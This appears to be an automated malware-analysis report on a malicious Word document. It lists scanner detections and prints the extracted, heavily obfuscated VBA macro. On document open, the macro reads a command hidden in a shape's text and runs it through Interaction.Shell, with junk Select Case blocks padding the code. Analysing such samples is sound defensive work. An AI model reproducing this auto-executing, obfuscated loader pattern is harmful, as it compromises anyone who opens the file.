MALICIOUS
232
Risk Score
Heuristics 8
-
ClamAV: Doc.Malware.Generic-6774326-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Malware.Generic-6774326-0
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
End Select EVqOb = Array(MlQCAD, arXZSTqId, CIPRiYJ, Interaction.Shell(UqiEj, ADQEzJ), fGfzoOBi) Select Case pjXzZwSztXzibrjjvvZcQwY -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Attribute VB_Customizable = True Private Sub Document_open() On Error Resume Next -
Suspicious cmd.exe invocation with execution flag high SC_STR_CMDSuspicious cmd.exe invocation with execution flag
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 10595 bytes |
SHA-256: cfa7bb2572abe32a588192da0529d7e30bd25b7b01bd29b2f6bcb1f8c4c1f85f |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
225 of 277 identifiers look randomly generated (e.g. 'QnfrzRVUlcbRjWOlqhlroOka') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ViLrKwWR"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
Select Case tTUWiEpUibzaldEwA
Case 199284078
ctMwfIcItVdJGbZdD = 298137264
OTEXaTwzWCwfcrhnXhX = 271055454
BvwwBSswMABDZPvXV = ChrB(250762771 / ChrB(191605201))
LGGwqARZoBwjEMMXIYYAG = KBvbDblQBuuHCvpAIBBSKKEV
Case 335877495
DYOzNcbNvFAOzpoX = 922370
mwKRiIQXznnzza = 190070388
YMBEhRjpzjztDLdmKDiCCm = ChrB(277760319 / ChrB(43019623))
qdnZwHalHQcWvTUPURwI = 151372387
End Select
Select Case PWrIkaKdmESizNSzQrvOp
Case 313681789
RvopFjQiGVNuBwUnhDGY = 103990848
bdLKkGMSIvTtaNvk = 33969312
WZLJkSRwwEOLiWMFUKivwKSo = ChrB(87953739 / ChrB(117530880))
HYGrwzKCpASttslJIDz = zhUtlGJzLHXvSrKa
Case 273812901
RNYUWFBRkCLAJkQF = 194137617
DNGqnKricWbBiLUvmjn = 191358637
OrTVHnKznfNOkWcF = ChrB(180851549 / ChrB(166278125))
cocfpjTzjOwjRAPo = 144732741
End Select
Select Case AuDKJjsjCAAsSYdIlXERjER
Case 330450778
CoRdpLBcDOaiwJXzHt = 25350431
vIYrCCAjEIvcEmGuaFMpwP = 101803093
DdpNhRbLNKbtPaan = ChrB(71910005 / ChrB(123648117))
uSzZJCcYBjOpjtNoYNn = mhkPuKNfAiZifq
Case 136440909
FEfKEtZiwUuABlCaXQmNiii = 334221763
zYXGkKqYViThcztHFQZPNd = 99518463
zGODHJXZhVHVCXNKEbjD = ChrB(227373540 / ChrB(295173754))
TtGcRFicUIuHivmRMLtAHpYE = 220257564
End Select
Select Case SUFZQKBiwkdRlMQz
Case 315849608
GfEvHkiHkqLHVHodKlRjtUvK = 222293941
dBazItwdLMEWNVvIaLSqOVdI = 9235007
iMDmjtOLGchlhRKrvbYo = ChrB(156090535 / ChrB(318864156))
ltksrhHXSzdLkaZdKICOSa = dAfXaBjNHlYRswBWdwFOnE
Case 43074116
RWwNfVhVKEGrLKhWjkV = 169388160
IjiJlYPMMBZuFGDC = 145350143
mDCHnrKLTRjfDijOIpUEt = ChrB(317893166 / ChrB(117838684))
wDhzGEdTNCjVJBs = 252403964
End Select
Select Case AscdUFNWRozlsiaDQP
Case 47050962
POqtonPqabJEiuqfN = 300387680
vmzinQuMvbKlwpBDlCip = 214290685
XvqivGznvpWmLdSjCdtbUP = ChrB(104382919 / ChrB(276314231))
OdqEcfEwFPBrIUoO = jVOJiXlFzFvFVHf
Case 3184131
hcGjSKSqGNQouIFMN = 231780625
bDkFFzcZIqjHVrrnLHXNLvT = 159073807
URFzqsIYlZOzXBkp = ChrB(238648520 / ChrB(66928224))
WGvwCVuFpVjfjLvlhXcSwbik = 121435924
End Select
Select Case LHfiZwEMqlFTtTGjNq
Case 189400578
poREtzPbjDpzGVpnrcFbatIQ = 294549173
AvDLwWrEhXpapZjdcnvHMY = 199244594
oklBWvfBMEzTYYESFC = ChrB(266094106 / ChrB(118491563))
QnfrzRVUlcbRjWOlqhlroOka = FEjdBKjMVYzFJZiKj
Case 177430373
XBoCqjPUCaJBCEbrMlq = 233942693
sFOwQjjIHhHnJDOQC = 297324442
mphmMWuAhhRYprJiwZDZAiMv = ChrB(292188079 / ChrB(13108029))
tBNbKstzcLSCbWfw = 180529323
End Select
Select Case WqKOOwsCkpQzMUzSOrfVd
Case 263276838
YdWlFbqOoGTwAIQ = 16513753
whfQwmjutRABcGI = 226659840
mkrNnbuabssYzJzoZYwIr = ChrB(168733515 / ChrB(287014773))
qLJpNMALOSWjKtJFlpWtqV = HCMDiLaqMtDWbRFNPsjKhnR
Case 198868101
OqWBCwzVRCmBISznbJmG = 149492422
ojcHBKLMTliXTVDoJuGBK = 96600828
LGZjWFdiXJjBqYvwn = ChrB(63022181 / ChrB(30893265))
BTlwiknAsAVXZNRAbdpHq = 40250755
End Select
Select Case TVfiVidVCREoTWQbTsfKZrG
Case 153478061
WuGwAjuEfJipFPXFPOc = 155636177
QpIWaFuOSbOIEzn = 152778478
CiKjnNilOdIFKcdzRF = ChrB(32713682 / ChrB(331011415))
adAqNhThAQjhsMuMXdcZ = LclIHzkInuiYtcFKtZfOD
Case 90906356
YXRPjmubcYrOAOhF = 220937724
ZNWAJwkpCiDzLhzPNlpjB = 142630687
SGABNEwMUwidAqXOTfukPYi = ChrB(84900691 / ChrB(69913265))
kAwPziDUDuIwWkFSj = 335008358
End Select
Set nUMPOz = ViLrKwWR.Shapes(rFfRrV + "HNwzQKEZ" + ClSdmXo).TextFrame
Select Case OursqKphhhPViRJfbVwjRnP
Case 119465441
XGKGZqikjotVazPoK = 16161805
DHbGwIuNwiZafZbSDfb = 49672983
hkwcPKBXirGloOKvAMzfdjB = ChrB(64510483 / ChrB(96237317))
vziLJjukVWdijwtpP = SoqLQXDTdcNwjoNBOBtWiXq
Case 29901772
oSWczmnTKqZXkjHIqGSXXmo = 108582330
jrwsIvwmSbFjqdpZfZznd = 198867429
lOrQXhUBdFuPvraBv = ChrB(181117241 / ChrB(245885367))
HCcAdczsNqcEFYKiQ = 205763601
End Select
Select Case QMtMbsZrfUVlozFDYBJmmL
Case 75605171
iIknYNUowwMdRKECLYWLwvm = 26852778
LJNiDBFBAiSIlTRAjnqkcmOw = 42762282
OozujWjoMDGKvwHcQbm = ChrB(303536821 / ChrB(168421062))
ELSIvTVYvRXbmQ = FzwcwGNtVstdAV
Case 251693871
MBKkocaaMSoIpmTK = 281643735
LcpRczqRwPCpVCJGLZc = 210504956
dYWPiSFEjYjmZKJU = ChrB(306576430 / ChrB(166157098))
tWfLXXzlwjathKNh = 29807805
End Select
Select Case JtSYXjrVKRzdrELSbkPukYZh
Case 188911255
isuYjnIXwmiDotNfhIkf = 122735086
IlsQiDNkTlwrEwbml = 63241445
TFZjYwVhErRwzNQkIf = ChrB(105821841 / ChrB(62289585))
KNTzGwoOEvXbKw = jBUTIWJtBozioOS
Case 43345433
ARJsGmRAhSzvuVmOIA = 43902321
wAhBURIHSzAlpBat = 273340475
cPDTaDJwHTMPjNMvY = ChrB(337044700 / ChrB(233783121))
XpiJhhSNGsutYrY = 287197706
End Select
UqiEj = nUMPOz.ContainingRange + ZtcbJhs + ulslwsP + drVJpvC + qopUov + jnMPSj + kGNshsvd + QCfpN + cLiwFF + DQqHv + iEIfz + zpFNaDr
Select Case FlOkGmrjQnrwaMRWjNSw
Case 149607227
vRdDYmmQzkVoZFnniHDtTLmB = 118286365
uzLkzqHJpzHCNEu = 4867609
HblnMjvfLtdckiclSsmEMm = ChrB(205481836 / ChrB(218035646))
PpjfuwzSWiajShQQF = wihFSfQuMHwcUvEXztPzQv
Case 196446755
NACFAKWoHAiCiJXB = 99351052
lrWtKibvkXAFWAAXrScLuClI = 140412520
NBpnVOkQKlnTpYdEZw = ChrB(258903790 / ChrB(10187508))
hCKRFYDFiGOYqQaFzBmV = 36700665
End Select
Select Case OjKcdzirzpUnRoMEboVLvWL
Case 211112070
wWcXALDrddEPRwWqYFdZRiz = 95140403
AzbdzrXilfaCTziQvn = 69944232
oKpwUWQiGZQZOAA = ChrB(94959517 / ChrB(189980952))
ilhkfTvoFGzIVumGi = HcIcboXLOBoTwQnjJZaDiW
Case 20106188
RJjwEVmHRKHAGBJsMTEu = 2217224
IjVolNjfLkZcLSFZHtPjC = 259213160
maHPhqKRIffAzcP = ChrB(237573745 / ChrB(166535982))
mzWbiprmnMLiTjVaiOd = 328391983
End Select
Select Case QoZiasOrGusqdEEpjqGomAH
Case 124722391
acUqpIOpkNWRLrdH = 20763638
AciuNlNqqVNHQjGVzPuA = 117565424
dBsqiYUzdhjUHqijPidwRs = ChrB(185215987 / ChrB(192279137))
pKqsOMCNOwhBWCpWrsfYvZPr = zLXTUkZPttNiHOUhG
Case 292134447
wftjncaAwFBPuwZPAituNIl = 193697314
crkdKrohXunGfkrt = 238381418
KsdSfhzUCNziotPWLkqX = ChrB(246124135 / ChrB(93126229))
iXElIVuCBdfaljJM = 14583049
End Select
Select Case kBMlkjmjDrCOdS
Case 268943638
zOHzONiEpwdzlViuBZMzq = 170004108
amznczakAsEYEDaoXXIwlFpv = 218030180
HMEFrsZQhNPZCEO = ChrB(91902175 / ChrB(191673117))
jzdrbkpZidMVwEG = rNjvAMzoWMZzUDhXck
Case 95769163
fQkTQRKwDLQKTjNAhhEUz = 269125429
PLrFivotMpWnadMijB = 21676209
LvOilqhpujtmrwVIZMfBP = ChrB(119414872 / ChrB(28080289))
zwmXVCVTuEJTwMTnOw = 335742544
End Select
Select Case PfijOqdGMMjEWLJ
Case 332596569
npYWuzDlMKNrjmVvwaX = 157257612
RsXJhNOwLtuNsvjJ = 257497782
hfuCfPOcaOJalmaNVw = ChrB(5853006 / ChrB(81442244))
konARSdrrplJFqsT = MHuFnzplHInfZjIaH
Case 321088886
GBOzlkiZXQjvitFktRIzowO = 59740464
qLRGciwtBMNzKJUE = 173763995
UbMEmUwPJwzCInFmu = ChrB(165403375 / ChrB(111199213))
vihCjjrniHnsNjuhwl = 169704592
End Select
Select Case UHTDMHwwEwIwLKPi
Case 304495849
jOzkStbDEsjMXmJUoccDEELi = 232747357
KCOGHHIjFOPkpZbJDGNrbVnq = 142270249
BqscCTBXiZpwkbDnhuFEmD = ChrB(186687355 / ChrB(314478968))
ERsUpPXkUGSrdL = iRqCUFVlnnnslRAwOzawBJDt
Case 65792909
NQVlwEiJVVMabwjfE = 213166528
WmTUHEtCNuZOzs = 18619321
FPCriJbvfmnViPWEWrniuwO = ChrB(216375470 / ChrB(16063189))
VOwGOiYEdPCoTM = 71692565
End Select
Select Case sFGJHnpNUUwfXonJbhTlGvU
Case 311355283
dLBpcMPXJSBhSllwuizOCk = 298948765
YBicYlwlLViboYsIhI = 97615586
mbIwhnLRUjlsSjQadm = ChrB(332313030 / ChrB(152277265))
QWzHKJWmqhuWWhwtlu = ZfQfklIHHSfuJrBWFLpXd
Case 272739237
iwqWvzThrrMzpzqNVBCP = 132564421
mliVKrhwXIkAmjtP = 84651496
nknCwuMWOzUWaaK = ChrB(120961830 / ChrB(78718187))
raoczvUEMoNKTGo = 304081882
End Select
Select Case bDjijEiHVVrJrFstd
Case 196811065
EZTUSovtDuMdzDWaI = 209921237
IimLCDVrQKYDVTcfq = 52535375
NpnLaNIrrFUfkNOVhROQQ = ChrB(321672015 / ChrB(327643217))
iiqrKXYjSZSZUWMwtMil = fopHzvNcrRQrIcwWRhUhnMKv
Case 265932108
KFQXESMiDpAjMb = 68795483
bIBiLuPbciJEJS = 200331376
SvlILTMzfaZGViUtWilBtGq = ChrB(104015873 / ChrB(272931386))
uaJHYkLGQRpBsHvDDkVJFu = 65571710
End Select
Select Case fjCaQwfCvBkiYGOTALOZsW
Case 100029481
TLVZOVfZPOziiGhdOZ = 143513728
hWbJFzVqjUzJTiH = 38894511
GnaWKPKIjouilKTAJmwk = ChrB(84018555 / ChrB(133108459))
zpquQoKwwbAImvjXG = AVKbMzJiIKwKVPmYa
Case 216852751
VtTYsvClChEZPqTLwE = 160225672
skmfzzoFkVNVCClWhzSf = 61143268
HwDlhUCDnUCDbkHo = ChrB(161719531 / ChrB(297345759))
zAjTjWMEziBmsTf = 194113080
End Select
Const ADQEzJ = 0
Select Case PMiLEtSoSvIzWSCWkimls
Case 52897307
tRINGTdioJboHGL = 64857478
sFbaRTizBpTqXirHD = 244359762
wjLUpRUoviuQZUTtnjiczdP = ChrB(35943008 / ChrB(197159710))
nRfjjEURNljkmIzf = SGZtVDkEbUIwTQGqfdCIL
Case 327581503
vHHhMCtafStwwEQSOuiFjMV = 302086065
atHfuXXVQilOVXBiud = 197228026
THmOLoNhsGjmNMmJluk = ChrB(310296306 / ChrB(143629288))
iaiDsWcXpirUBTHsUGJ = 280737692
End Select
Select Case wINKSmHrtDIzRqDaOwYtwfF
Case 35786217
FTudMmcCYFkMUTsr = 227256725
btmTuWOZLrPvQDHwMSNOhR = 207557586
tkTOudfCQtiLZlZXOmblmdph = ChrB(30702627 / ChrB(141654645))
adUEJOraJDAfiLN = XYwZasqzupuJQumJZWFY
Case 316089925
UziLQUOHsZYzSIIwjhnUJU = 130995879
KOQqFMGpjiEwrPcWknzVk = 119515731
iAcpXlbiAdAABDYBjSjO = ChrB(235250579 / ChrB(23402075))
FQFRkWXwzsmmpcWi = 27148541
End Select
Select Case UNjzmYzZPwLbwNS
Case 115763623
hiEaCJFKBSXWLOcw = 120517901
sWilBWzruFCjJXKDa = 333617325
jSEbolGaCEjiffwZvcwcidKP = ChrB(341994994 / ChrB(54755776))
IzMHndAlwnutAvvvmL = XAMzPbiVNDHpbjPzbp
Case 325119318
FfuwmAiwjmiYEdlVwBzjJHmi = 283480455
TNkwUFoPRrFOLOsipaVilzvt = 6289524
rRmzsLHnjVLiScjoMtP = ChrB(221290913 / ChrB(276138188))
nbSLNINVRqzvNXdTzuHYh = 151158415
End Select
EVqOb = Array(MlQCAD, arXZSTqId, CIPRiYJ, Interaction.Shell(UqiEj, ADQEzJ), fGfzoOBi)
Select Case pjXzZwSztXzibrjjvvZcQwY
Case 29042745
jlquutuwaIdDEjb = 146190899
ZAXCicpXoXnriqLToq = 66311073
DzdFjAjCfqMwFtYXhGE = ChrB(62868323 / ChrB(1814380))
FVHGwRSkPtRuTaWRWi = nrzLollSnmilAbftHwZDSkv
Case 178022718
hLZzAPjaQNjIKSVKw = 200161883
hHQSnjPTwaaCwWtHZLUmXwLj = 96261033
lzjEtTGztKQtmRlvnApKjmRK = ChrB(312393212 / ChrB(338889236))
raiwjDovSnrhHwzcirjZ = 22316138
End Select
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.